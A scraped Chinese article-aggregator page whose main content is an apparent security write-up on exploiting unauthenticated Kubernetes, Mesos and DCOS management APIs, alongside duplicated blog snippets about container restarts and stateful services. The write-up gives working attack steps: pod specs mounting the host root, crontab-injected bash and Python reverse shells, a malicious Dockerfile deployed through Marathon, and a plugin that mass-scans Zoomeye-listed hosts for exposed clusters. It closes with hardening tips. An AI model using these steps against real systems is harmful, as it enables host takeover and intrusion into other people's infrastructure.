精华内容
下载资源
问答
  • 因为容器是衣服,人躺下了,衣服也躺下了,容器平台能够马上发现人躺下了,于是可以迅速将人重新唤醒工作。 而虚拟机是房子,人躺下了,房子还站着。因而虚拟机管理平台不知道里面的人能不能工作,所以容器挂了会被...

     

    容器的自修复功能是经常被吹嘘的。因为容器是衣服,人躺下了,衣服也躺下了,容器平台能够马上发现人躺下了,于是可以迅速将人重新唤醒工作。

    而虚拟机是房子,人躺下了,房子还站着。因而虚拟机管理平台不知道里面的人能不能工作,所以容器挂了会被自动重启,而虚拟机里面的应用挂了,只要虚拟机不挂,很可能没人知道。

    这些说法都没错,但是人们慢慢发现了另外的场景,就是容器里面的应用没有挂,所以容器看起来还启动着,但是应用已经不工作没有反应了。

     

    当启动容器的时候,虽然容器的状态起来了,但是里面的应用还需要一段时间才能提供服务。

    所以针对这种场景,容器平台会提供对于容器里面应用的 health check,不光看容器在不在,还要看里面的应用能不能用,如果不能,可自动重启。

     

    一旦引入了 health check,和虚拟机的差别也不大了,因为有了 health check,虚拟机也能看里面的应用是否工作了,不工作也可以重启应用。

    还有就是容器的启动速度快,秒级启动,如果能够自动重启修复,那就是秒级修复,所以应用更加高可用。

     

    这个观点当然不正确,应用的高可用性和重启的速度没有直接关系。高可用性一定要通过多个副本来实现,在任何一个挂掉之后,不能通过这一个应用快速重启来解决,而是应该靠挂掉的期间,其他的副本马上把任务接过来进行解决。

    虚拟机和容器都可以有多副本,在有多个副本的情况下,重启是 1 秒还是 20 秒,就没那么重要了,重要的是挂掉的这段时间内,程序做了什么。

     

    如果程序做的是无关紧要的操作,那么挂了 20 秒,也没啥关系;如果程序正在进行一个交易和支付,那挂掉 1 秒也不行,也必须能够修复回来。

    所以应用的高可用性要靠应用层的重试,幂等去解决,而不应该靠基础设施层重启的快不快来解决。

     

    对于无状态服务,在做好重试的机制的情况下,通过自动重启修复是没有问题的,因为无状态的服务不会保存非常重要的操作。

    对于有状态服务,容器的重启不但不是推荐的,而且可能是灾难的开始。

    一个服务有状态,例如数据库,在高并发场景下,一旦挂了,哪怕只有 1 秒,我们必须要弄清楚这 1 秒都发生了什么,哪些数据保存了,哪些数据丢了,而不能盲目的重启,否则很可能会造成数据的不一致性,后期修都没法修。

     

    例如高频交易下的数据库挂了,按说 DBA 应该严格审核丢了哪些数据,而不是在 DBA 不知情的情况下,盲目的重启了,DBA 还觉得没什么事情发生,最终很久才能发现问题。

    所以容器是比较适合部署无状态服务的,随便重启都可以。

    而容器部署有状态容器不是不能,而是要非常小心,甚至都是不推荐的。

    虽然很多的容器平台都支持有状态容器,然而平台往往解决不了数据问题,除非你对容器里面的应用非常非常熟悉。

    当容器挂了,你能够准确的知道丢了哪些,哪些要紧,哪些不要紧,而且要写代码处理这些情况,然后才能支持重启。

     

    网易这面的数据库在主备同步的情况下,是通过修改 MySQL 源代码,保证主备之间数据完全同步,才敢在主挂了的情况下,备自动切换主。

    而宣传有状态容器的自动重启,对于服务客户来讲是很不经济的行为,因为客户往往没有那么清楚应用的逻辑,甚至应用都是买的。

     

    如果使用有状态容器,任凭自动重启,最终客户发现数据丢失的时候,还是会怪到你的头上。

    所以有状态的服务自动重启不是不可用,需要足够专业才行。

    转载于:https://www.cnblogs.com/ymwang/p/8628746.html

    展开全文
  • 因为容器是衣服,人躺下了,衣服也躺下了,容器平台能够马上发现人躺下了,于是可以迅速将人重新唤醒工作。而虚拟机是房子,人躺下了,房子还站着。因而虚拟机管理平台不知道里面的人能不能工作,所以容器挂了会被...

    容器的自修复功能是经常被吹嘘的。因为容器是衣服,人躺下了,衣服也躺下了,容器平台能够马上发现人躺下了,于是可以迅速将人重新唤醒工作。

    而虚拟机是房子,人躺下了,房子还站着。因而虚拟机管理平台不知道里面的人能不能工作,所以容器挂了会被自动重启,而虚拟机里面的应用挂了,只要虚拟机不挂,很可能没人知道。

    这些说法都没错,但是人们慢慢发现了另外的场景,就是容器里面的应用没有挂,所以容器看起来还启动着,但是应用已经不工作没有反应了。

    当启动容器的时候,虽然容器的状态起来了,但是里面的应用还需要一段时间才能提供服务。

    所以针对这种场景,容器平台会提供对于容器里面应用的 health check,不光看容器在不在,还要看里面的应用能不能用,如果不能,可自动重启。

    一旦引入了 health check,和虚拟机的差别也不大了,因为有了 health check,虚拟机也能看里面的应用是否工作了,不工作也可以重启应用。

    还有就是容器的启动速度快,秒级启动,如果能够自动重启修复,那就是秒级修复,所以应用更加高可用。

    这个观点当然不正确,应用的高可用性和重启的速度没有直接关系。高可用性一定要通过多个副本来实现,在任何一个挂掉之后,不能通过这一个应用快速重启来解决,而是应该靠挂掉的期间,其他的副本马上把任务接过来进行解决。

    虚拟机和容器都可以有多副本,在有多个副本的情况下,重启是 1 秒还是 20 秒,就没那么重要了,重要的是挂掉的这段时间内,程序做了什么。

    如果程序做的是无关紧要的操作,那么挂了 20 秒,也没啥关系;如果程序正在进行一个交易和支付,那挂掉 1 秒也不行,也必须能够修复回来。

    所以应用的高可用性要靠应用层的重试,幂等去解决,而不应该靠基础设施层重启的快不快来解决。

    对于无状态服务,在做好重试的机制的情况下,通过自动重启修复是没有问题的,因为无状态的服务不会保存非常重要的操作。

    对于有状态服务,容器的重启不但不是推荐的,而且可能是灾难的开始。

    一个服务有状态,例如数据库,在高并发场景下,一旦挂了,哪怕只有 1 秒,我们必须要弄清楚这 1 秒都发生了什么,哪些数据保存了,哪些数据丢了,而不能盲目的重启,否则很可能会造成数据的不一致性,后期修都没法修。

    例如高频交易下的数据库挂了,按说 DBA 应该严格审核丢了哪些数据,而不是在 DBA 不知情的情况下,盲目的重启了,DBA 还觉得没什么事情发生,最终很久才能发现问题。

    所以容器是比较适合部署无状态服务的,随便重启都可以。

    而容器部署有状态容器不是不能,而是要非常小心,甚至都是不推荐的。

    虽然很多的容器平台都支持有状态容器,然而平台往往解决不了数据问题,除非你对容器里面的应用非常非常熟悉。

    当容器挂了,你能够准确的知道丢了哪些,哪些要紧,哪些不要紧,而且要写代码处理这些情况,然后才能支持重启。

    网易这面的数据库在主备同步的情况下,是通过修改 MySQL 源代码,保证主备之间数据完全同步,才敢在主挂了的情况下,备自动切换主。

    而宣传有状态容器的自动重启,对于服务客户来讲是很不经济的行为,因为客户往往没有那么清楚应用的逻辑,甚至应用都是买的。

    如果使用有状态容器,任凭自动重启,最终客户发现数据丢失的时候,还是会怪到你的头上。

    所以有状态的服务自动重启不是不可用,需要足够专业才行。

    展开全文
  • 本文介绍美团点评的Docker容器集群管理平台(以下简称“容器平台”)。该平台始于2015年,是基于美团云的基础架构和组件而开发的Docker容器集群管理平台。目前该平台为美团点评的外卖、酒店、到店、猫眼等十几个事业...
  • rancher 容器管理平台

    2020-07-02 10:49:48
    Rancher - 以Kubernetes为核心的容器平台

     Rancher - 以Kubernetes为核心的容器云平台

     

     

     

     

     

     

     

     

    展开全文
  • 随着大数据时代的到来,容器化技术(Containerization)运用地越来越广泛,容器集群管理平台也应运而生。 当前主流的容器集群管理技术,包括 Docker 官方的 Docker Swarm、Apache 的 Mesos和 Google 的 ...

    随着大数据时代的到来,容器化技术(Containerization)运用地越来越广泛,容器集群管理平台也应运而生。

    当前主流的容器集群管理技术,包括 Docker 官方的 Docker Swarm、Apache 的 Mesos和 Google 的 Kubernetes(我厂也在用)。 其中 Docker Swarm 使用了 Docker 原生的标准 API 来管理容器,另外的 Mesos 和 Kubernetes 都采用了自己的实现方式。 大家或许还记得之前影响广泛的 Docker Remote API(2375 端口)未授权漏洞,那么其他的容器管理平台是否也会存在类似的问题呢?

    0x01 Kubernetes

    根据官方文档,API Server 默认会开启两个端口:8080 和 6443。 其中 8080 端口无需认证,应该仅用于测试。6443 端口需要认证,且有 TLS 保护。

    直接访问 8080 端口会返回可用的 API 列表,如:

    {"paths": ["/api","/api/v1","/apis","/apis/extensions","/apis/extensions/v1beta1","/healthz","/healthz/ping","/logs/","/metrics","/resetMetrics","/swagger-ui/","/swaggerapi/","/ui/","/version"]}

    而直接访问 6443 端口会提示无权限:User "system:anonymous" cannot get at the cluster scope.

    在 Zoomeye搜索:metrics healthz,可以看到使用 Kubernetes 最多是中国和美国。 其中 443 和 8443 端口几乎都是 OpenShift Origin,一个基于 Kubernetes 的企业版容器管理平台,默认需要认证。

    访问 /ui 会跳转到 dashboard 页面,可以创建、修改、删除容器,查看日志等。

    Kubernetes 官方提供了一个命令行工具 kubectl。使用 kubectl 不仅能完成图形界面上的操作,还有个特殊的功能——在容器中执行命令,类似 docker 里的 exec 。

    // 获得所有节点> kubectl -s http://1.2.3.4:8080/ get nodes// 获得所有容器> kubectl -s http://1.2.3.4:8080/ get pods --all-namespaces=true// 在 myapp 容器获得一个交互式 shell> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash

    当然,如果可以控制容器的运行,我们也可以尝试获取宿主机(即 nodes)的权限。 参考 Docker Remote API 未授权访问漏洞利用,流程大体为创建新的容器 -> 挂载宿主机目录 -> 写 /etc/crontab 定时任务反弹 shell。

    根据 Kubernetes 文档中挂载节点目录的例子,可以写一个 myapp.yaml,将节点的根目录挂载到容器的 /mnt 目录。

    apiVersion: v1kind: Podmetadata:name: myappspec:containers:- image: nginxname: test-containervolumeMounts:- mountPath: /mntname: test-volumevolumes:- name: test-volumehostPath:path: /

    然后使用 kubectl 创建容器:

    // 由 myapp.yaml 创建容器> kubectl -s http://1.2.3.4:8080/ create -f myapp.yaml// 等待容器创建完成// 获得 myapp 的交互式 shell> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash// 向 crontab 写入反弹 shell 的定时任务> echo -e "* * * * * root bash -i >&/dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab// 也可以用 python 反弹 shell> echo -e "* * * * * root /usr/bin/python -c 'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab稍等片刻接收到反弹的 shell:

    0x02 Mesos

    根据官方文档,Mesos master 默认监听 5050 端口。

    Mesos 主界面:

    Mesos 的 API 可参考HTTP Endpoints。 比较有用的一个 API 是 /flags,可以查看系统的配置情况,包括是否开启权限认证。

    Mesos 从 1.2 版开始才有了 exec 进入容器的功能:Mesos Support for Container Attach and Container Exec。 值得吐槽的是 Mesos 的命令行工具居然没有文档,原因是 CLI 依然有很多功能缺失需要重构:A full redesign of the Mesos CLI。好在有一个Design Doc: Mesos CLI可供参考。

    又因为没有一个专门的 Mesos CLI 工具,唯一的一个mesosphere/mesos-cli 也有两年没更新了,所以只能安装 Mesos 来使用命令行。

    在 Ubuntu 16.04 下安装:

    // 添加源> cat << EOF >> /etc/apt/sources.list.d/mesosphere.listdeb http://repos.mesosphere.com/ubuntu xenial mainEOF// 更新> apt-get update// 如果出现签名问题需要导入 public key// > apt-key adv --keyserver keyserver.ubuntu.com --recv-keys DF7D54CBE56151BF// 安装 mesos> apt-get -y install mesos

    安装完成后可以对 Agent 下发任务执行命令(Mesos 版本均为 1.3):

    // 设置目标 URL > mesos config master 1.2.3.4:5050// 列出正在运行的容器> mesos ps // 执行命令(无回显) > mesos execute --master=1.2.3.4:5050 --name=test --command='curl 127.0.0.1/`hostname`'

    可惜在 Docker Volume Support in Mesos Containerizer中未能找到挂载宿主机(Agent)目录的办法,所以无法逃出沙箱获得宿主机权限。

    0x03 DCOS

    Mesosphere DCOS 是基于 Apache Mesos 的商业化版本。 根据官方文档,API Router的默认端口是 80(HTTP)和443(HTTPS)。

    DCOS 主界面:

    相比于 Mesos,DCOS 的对应 API 前多了 /mesos/,如在 Mesos 中查看版本号是/version,在 DCOS 中则是 /mesos/version。访问 /dcos-metadata/dcos-version.json 可查看 DCOS 的版本号。

    访问 /exhibitor/ 是 DCOS 自带的 Zookeeper 管理工具:

    访问 /marathon/ 是自带的框架(Framework) Marathon:

    DCOS 提供了一个强大的命令行工具,和 Kubernetes 的类似,也可以进入容器执行命令。

    参考Using dcos task exec,测试一下执行命令(DCOS v1.6.1,DCOS CLI v1.9):

    // 设置目标 URL> dcos config set core.dcos_url http://1.2.3.4// 根据文档创建一个描述文件> dcos marathon app add my-app.json// 在执行 my-app 执行 hostname 命令> dcos task exec my-app hostnameNo container found for the specified task. It might still be spinning up. Please try again.// 添加一个任务> dcos job add my-job.jsonDC/OS backend does not support metronome capabilities in this version. Must be DC/OS >= 1.8

    居然不能在 my-app 执行命令,可能是 DCOS 版本过低所致,那如果运行一个 Docker 容器呢:

    > dcos task exec my-docker hostnameThis command is only supported for tasks launched by the Universal Container Runtime (UCR).

    根据Universal Container Runtime (UCR),container type 需要指定为 MESOS 才能执行命令,但 UCR 是有限制的:

    The UCR does not support the following: runtime privileges, Docker options, force pull, named ports, numbered ports, bridge networking, port mapping, private registries with container authentication.

    所以如果使用 UCR 的话,Docker 将无法挂载外部目录。而如果使用已有的 Docker 基础镜像的话,无法执行我们需要的命令。

    想了一下可以用构建自己 Docker 镜像的方法绕过。

    参考 Deploying a Docker-based Service,去https://hub.docker.com 注册一个账号,假设用户名为 test,创建一个公开的 Repository: backdoor。

    编写 Dockerfile:

    FROM alpine# 容器启动时执行命令CMD echo -e "* * * * * root /usr/bin/python -c 'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab

    构建 Docker 镜像并推送到 Docker hub:

    > docker build -t test/backdoor .> docker login> docker push test/backdoor

    写配置文件,使用 backdoor 镜像且挂载宿主机根目录到 /mnt:

    {"id": "backdoor","container": {"type": "DOCKER","volumes": [{"containerPath": "/mnt","hostPath": "/","mode": "RW"}],"docker": {"image": "test/backdoor","network": "BRIDGE","privileged": true} },"acceptedResourceRoles": ["slave_public"],"instances": 1,"cpus": 1,"mem": 1024}

    最后添加容器到 Marathon:dcos marathon app add backdoor.json 稍等片刻获得反弹的 shell:

    0x04 批量验证

    以 Kubernetes 为例,用POC-T 可以很方便地从 Zoomeye 的 API 获取数据并进行验证。写一个插件试试:

    #!/usr/bin/env python

    # -*- coding: utf-8 -*-

    # project = https://github.com/Xyntax/POC-T

    # author = Oritz

    """

    Kubernetes api 未授权访问

    需要安装 kubectl

    curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.6.1/bin/linux/amd64/kubectl

    chmod +x ./kubectl

    sudo mv ./kubectl /usr/local/bin/kubectl

    Usage:

    python POC-T.py -s kubernetes-unauth -aZ "healthz metrics country:cn" --limit 1000

    """

    import subprocess

    import requests

    from plugin.useragent import firefox

    defpoc(url):

    if '://' not in url:

    url = 'http://' + url

    if '443' in url:

    url = url.replace('http:', 'https:')

    try:

    g = requests.get(url, headers={'User-Agent': firefox()}, timeout=3, verify=False)

    if g.status_code is 200 and 'healthz' in g.content and 'metrics' in g.content:

    pods = subprocess.Popen("kubectl -s %s get pods --all-namespaces=true -o=wide" % url,

    stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=open("/dev/null", "w"), shell=True)

    output = pods.communicate()[0].decode("utf-8")

    if "Please enter Username" not in output and "Error from server" not in output:

    with open("k8s.txt", "a") as f:

    f.write(url + "\n" + output + "\n")

    return url

    except Exception:

    pass

    return False

    部分结果放在了 gist 上:k8s.cn.txt

    0x05 偶遇挖矿

    在研究过程中发现了部分未授权的 DCOS 被用来挖矿,如查看 DCOS 的任务日志:

    在 Zookeeper 的任务配置里也可以看到:

    图中的命令和常见的批量扫描主机漏洞并植入挖矿软件的程序很像,所以不大可能是管理员自己运行的。 不过查了一下 Github 上其实早就有开源的基于 Mesos 的分布式比特币挖矿程序了,因为容器管理平台的资源一般都很充裕,可能会成为矿工们的新目标。

    0x06 总结

    文中主要介绍了 Kubernetes 和 Mesos 未授权漏洞的利用方式和获得宿主机权限的攻击方式。容器管理平台未授权访问不仅会泄露容器中的代码、数据库等敏感文件,还有可能导致宿主机被控制进入内网,产生更大的危害。

    参考 Security Best Practices for Kubernetes Deployment,在安装和运行容器管理平台时,遵循以下几点可提高安全性:

    • 配置防火墙,禁止敏感端口对外开放

    • 对管理端口加上认证

    • 使用安全的镜像(私有镜像仓库)

    • 设置容器资源限额

    • 容器以非 root 用户运行

    文中还有两个问题没有解决:

    • Apache Mesos 如何挂载宿主机目录

    • DCOS 在容器中执行命令是否有更好的方式

    如果有意见和建议,欢迎提出。

    0x07 参考

    容器集群管理工具各项对比

    容器集群管理工具各项对比

    Docker Remote API 未授权访问漏洞利用

    SecurityBestPracticesforKubernetesDeployment

    展开全文
  • 利用 K8S 搭建容器管理平台 流行的管理工具
  • Docker容器技术: 目录 Docker容器技术: 一、 docker基础知识 二、docker与VM虚拟机的区别: (性能和使用方面) ...k8s容器集群管理平台: 一、k8s基础知识 一、 docker基础知识 1.docker是什么? dock...
  • 使用 Kubectl 管理 Kubernetes 容器平台

    千次阅读 2020-12-27 16:54:03
    使用 Kubectl 管理 Kubernetes 容器平台 一、Kubectl 概述 二、Kubectl 创建和删除一个 pod 相关操作 1.在集群上运行一个镜像 2.Kubectl run 语法 3.pods 常见的状态 3.使用 Kubectl delete 删除创建的对象 1)删除 ...
  • 容器管理平台rancher的搭建: Rancher是一套容器管理平台,它可以帮助组织在生产环境中轻松快捷的部署和管理容器。 Rancher可以轻松地管理各种环境的Kubernetes,满足IT需求并为DevOps团队提供支持。 Kubernetes...
  • Rancher是一个开源的企业级容器管理平台。通过Rancher,企业再也不必自己使用一系列的开源软件去从头搭建容器服务平台。Rancher提供了在生产环境中使用的管理Docker和Kubernetes的全栈化容器部署与管理平台。 官网...
  • 容器化和微服务是当前最热话题,不久之前,笔者(据说因为现在都不用笔...随着要管理容器越来越多,容器的集群管理平台成为了刚需!Docker SwarmSwarm是Docker公司在2014年12月初新发布的容器集群管理工具。它可以把
  • 项目6 容器服务管理平台Rancher任务6.1 Rancher安装Rancher是是开源的Docker全栈容器服务管理平台,通过提供“应用商店”可以部署各种应用,提供CaaS容器服务。默认支持通过整合Cattle、Swarm、Hubernetes、MesOS...
  • 容器管理平台之Rancher初体验

    千次阅读 2019-05-29 18:38:51
    Rancher是一个开源的企业级全栈化容器部署及管理平台。简单的说,就是一个可以让你通过 web 界面管理 docker 容器平台。定位上和 K8s 比较接近,都是通过 web 界面赋予完全的 docker 服务编排功能。 Rancher 的...
  • 本课程详细docker swarm的用法,通过使用理论知识的讲解配合操作实例,使学员理解Swarm集群带来的优势及便利。熟练使用Swarm中的Services、replicas、Stack等几...通过学习深入理解、实践Swarm对docker容器资源的编排。
  • 环境组目前已搭建3个容器集群管理平台,分别为csphere、kubernetes、swarm 访问地址分别为: Csphere: http://21.1.7.1:1016 s200902137@126.com/j332117603 简介:docker-pc1安装控制端,其他主机均已安装agent...
  • 我们为什么使用容器? 我们为什么使用虚拟机(云主机)? 为什么使用物理机? 这一系列的问题并没有一个统一的标准答案。因为以上几类技术栈都有自身最适用的场景,在最佳实践之下,它们分别都是不可替代的。 原本...
  • 1. Rancher容器管理平台简介Rancher是一个开源的企业级容器管理平台。通过Rancher,企业再也不必自己使用一系列的开源软件去从头搭建容器服务平台。Rancher提供了在生产环境中使用的管理Docker和Kubernetes的全栈化...
  • 原文:https://www.kubernetes.org.cn/4786.html 我们为什么使用容器? 我们为什么使用虚拟机(云主机)? 为什么使用物理机? 这一系列的问题并没有一个统一的标准答案。因为以上几类技术栈都有自身最适用的场景,...
  • 如何使用容器应用平台部署应用 容器应用平台主要场景 容器应用平台概述 应用性能管理
  • 防火墙端口要放开,不然容器管理平台连不上Docker服务) 4),Portainer可视化平台配置 1、打开安装Portainer可视化管理平台,初始化配置管理员用户、密码。 2、配置Local、Remote容器环境 3、Endpoints配置多Docker...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 6,020
精华内容 2,408
关键字:

容器平台管理